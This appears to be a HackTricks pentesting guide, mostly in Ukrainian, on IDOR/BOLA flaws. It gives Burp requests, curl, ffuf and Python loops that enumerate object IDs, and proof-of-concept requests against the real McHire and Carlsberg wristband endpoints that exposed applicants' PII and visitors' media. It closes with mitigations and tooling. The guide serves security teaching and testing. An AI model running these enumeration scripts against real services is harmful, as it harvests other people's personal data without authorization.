IDOR (Insecure Direct Object Reference)

Tip

Вивчайте та практикуйте AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Вивчайте та практикуйте Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Підтримайте HackTricks

IDOR (Insecure Direct Object Reference) / Broken Object Level Authorization (BOLA) з’являється, коли веб- або API-ендпоїнт розкриває або приймає керований користувачем ідентифікатор, який використовується безпосередньо для доступу до внутрішнього об’єкта без перевірки, чи має викликач повноваження отримувати/змінювати цей об’єкт. Успішна експлуатація зазвичай дозволяє horizontal or vertical privilege-escalation, наприклад читання або зміну даних інших користувачів і, у найгіршому випадку, full account takeover або mass-data exfiltration.

1. Виявлення потенційних IDOR

  1. Шукайте параметри, що посилаються на об’єкт:
  • Шлях: /api/user/1234, /files/550e8400-e29b-41d4-a716-446655440000
  • Запит: ?id=42, ?invoice=2024-00001
  • Тіло / JSON: {"user_id": 321, "order_id": 987}
  • Заголовки / Cookies: X-Client-ID: 4711
  1. Віддавайте перевагу ендпоїнтам, що читають або оновлюють дані (GET, PUT, PATCH, DELETE).
  2. Звертайте увагу, коли ідентифікатори послідовні або передбачувані – якщо ваш ID 64185742, то 64185741 ймовірно існує.
  3. Досліджуйте приховані або альтернативні потоки (наприклад “Paradox team members” посилання на сторінках входу), які можуть розкрити додаткові API.
  4. Використовуйте аутентифіковану сесію з низькими правами і змінюйте тільки ID зберігаючи той самий token/cookie. Відсутність помилки авторизації зазвичай є ознакою IDOR.

Швидке ручне маніпулювання (Burp Repeater)

PUT /api/lead/cem-xhr HTTP/1.1
Host: www.example.com
Cookie: auth=eyJhbGciOiJIUzI1NiJ9...
Content-Type: application/json

{"lead_id":64185741}

Автоматизований перебір (Burp Intruder / curl loop)

for id in $(seq 64185742 64185700); do
curl -s -X PUT 'https://www.example.com/api/lead/cem-xhr' \
-H 'Content-Type: application/json' \
-H "Cookie: auth=$TOKEN" \
-d '{"lead_id":'"$id"'}' | jq -e '.email' && echo "Hit $id";
done

Перебір передбачуваних ID завантаження (ffuf)

Автентифіковані панелі файлового хостингу часто зберігають метадані на користувача в єдиній таблиці files і надають endpoint для завантаження, наприклад /download.php?id=<int>. Якщо обробник перевіряє лише, чи існує ID (а не чи належить він автентифікованому користувачеві), ви можете перебрати простір цілих чисел з дійсним session cookie і вкрасти backups/configs інших tenants:

ffuf -u http://file.era.htb/download.php?id=FUZZ \
-H "Cookie: PHPSESSID=<session>" \
-w <(seq 0 6000) \
-fr 'File Not Found' \
-o hits.json
jq -r '.results[].url' hits.json    # fetch surviving IDs such as company backups or signing keys
  • -fr видаляє шаблони у стилі 404, тож залишаються лише справжні збіги (наприклад, IDs 54/150 leaking full site backups and signing material).
  • Та сама FFUF workflow працює з Burp Intruder або curl loop — просто переконайтеся, що залишаєтеся автентифікованими, поки інкрементуєте IDs.

Error-response oracle for user/file enumeration

Коли download endpoint приймає як username, так і filename (наприклад, /view.php?username=<u>&file=<f>), тонкі відмінності в повідомленнях про помилки часто створюють oracle:

  • Non-existent username → “User not found”
  • Bad filename but valid extension → “File does not exist” (sometimes also lists available files)
  • Bad extension → validation error

З будь-якою authenticated session ви можете fuzz параметр username, утримуючи benign filename, і фільтрувати за рядком “user not found”, щоб виявити валідних користувачів:

ffuf -u 'http://target/view.php?username=FUZZ&file=test.doc' \
-b 'PHPSESSID=<session-cookie>' \
-w /opt/SecLists/Usernames/Names/names.txt \
-fr 'User not found'

Після визначення дійсних імен користувачів, безпосередньо запитуйте конкретні файли (наприклад, /view.php?username=amanda&file=privacy.odt). Така схема часто призводить до несанкціонованого розкриття документів інших користувачів та credential leakage.

2. Реальний кейс — платформа чат-бота McHire (2025)

Під час оцінювання рекрутингового порталу Paradox.ai-підтримуваного McHire було виявлено наступний IDOR:

  • Endpoint: PUT /api/lead/cem-xhr
  • Authorization: user session cookie for any restaurant test account
  • Body parameter: {"lead_id": N} – 8-digit, sequential numeric identifier

Зменшуючи lead_id, тестувальник отримав довільні full PII заявників (ім’я, електронна пошта, телефон, адреса, переваги щодо змін) та споживчий JWT, який дозволив session hijacking. Перебір діапазону 1 – 64,185,742 виявив приблизно 64 million записів.

Приклад Proof-of-Concept запиту:

curl -X PUT 'https://www.mchire.com/api/lead/cem-xhr' \
-H 'Content-Type: application/json' \
-d '{"lead_id":64185741}'

У поєднанні зі стандартними обліковими даними адміністратора (123456:123456), які давали доступ до тестового акаунта, вразливість призвела до критичного, на рівні всієї компанії, витоку даних.

Кейс – QR-коди на браслетах як слабкі bearer tokens (2025–2026)

Flow: Відвідувачі виставки отримували браслети з QR-кодами; при скануванні https://homeofcarlsberg.com/memories/ браузер брав надрукований wristband ID, кодував його в hex і викликав бекенд на cloudfunctions.net, щоб отримати збережені медіа (фото/відео + імена). Не було session binding або user authentication — knowledge of the ID = authorization.

Predictability: Wristband IDs відповідали короткому патерну, наприклад C-285-100 → ASCII hex 432d3238352d313030 (43 2d 32 38 35 2d 31 30 30). Обсяг простору було оцінено приблизно в ~26M комбінацій, що легко перебрати онлайн.

Exploitation workflow with Burp Intruder:

  1. Payload generation: Build candidate IDs (e.g., [A-Z]-###-###). Use a Burp Intruder Pitchfork or Cluster Bomb attack with positions for the letter and digits. Add a payload processing rule → Add prefix/suffix → payload encoding: ASCII hex so each request transmits the hex string expected by the backend.
  2. Response grep: Mark Intruder grep-match for markers present only in valid responses (e.g., media URLs/JSON fields). Invalid IDs typically returned an empty array/404.
  3. Throughput measurement: ~1,000,000 IDs were tested in ~2 hours from a laptop (~139 req/s). At that rate the full keyspace (~26M) would fall in ~52 hours. The sample run already exposed ~500 valid wristbands (videos + full names).
  4. Rate-limiting verification: After the vendor claimed throttling, rerun the same Intruder config. Identical throughput/hit-rate proved the control was absent/ineffective; enumeration continued unhindered.

Quick scriptable variant (client-side hex encoding):

import requests

def to_hex(s):
return ''.join(f"{ord(c):02x}" for c in s)

for band_id in ["C-285-100", "T-544-492"]:
hex_id = to_hex(band_id)
r = requests.get("https://homeofcarlsberg.com/memories/api", params={"id": hex_id})
if r.ok and "media" in r.text:
print(band_id, "->", r.json())

Урок: Encoding (ASCII→hex/Base64) не додає ентропії; короткі ID стають bearer tokens, які піддаються перерахуванню всупереч косметичному кодуванню. За відсутності авторизації на рівні користувача та секретів з високою ентропією, media/PII можна масово збирати навіть якщо заявлено “rate limiting”.

3. Вплив IDOR / BOLA

  • Горизонтальне підвищення привілеїв – читання/оновлення/видалення даних інших користувачів.
  • Вертикальне підвищення – користувач з низькими привілеями отримує функціональність, доступну лише адміну.
  • Масове витікання даних, якщо ідентифікатори послідовні (наприклад, ID заявників, рахунки).
  • Захоплення акаунту через вкрадання токенів або скидання паролів інших користувачів.

4. Mitigations & Best Practices

  1. Enforce object-level authorization на кожен запит (user_id == session.user).
  2. Віддавайте перевагу indirect, unguessable identifiers (UUIDv4, ULID) замість auto-increment IDs.
  3. Виконуйте авторизацію server-side, ніколи не покладайтеся на приховані поля форм або UI-контролі.
  4. Реалізуйте перевірки RBAC / ABAC у центральному middleware.
  5. Додайте rate-limiting & logging для виявлення перебору ідентифікаторів.
  6. Перевіряйте безпеку кожного нового endpoint (unit, integration, and DAST).

5. Tooling

  • BurpSuite extensions: Authorize, Auto Repeater, Turbo Intruder.
  • OWASP ZAP: Auth Matrix, Forced Browse.
  • Github projects: bwapp-idor-scanner, Blindy (bulk IDOR hunting).

References

Tip

Вивчайте та практикуйте AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Вивчайте та практикуйте Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Підтримайте HackTricks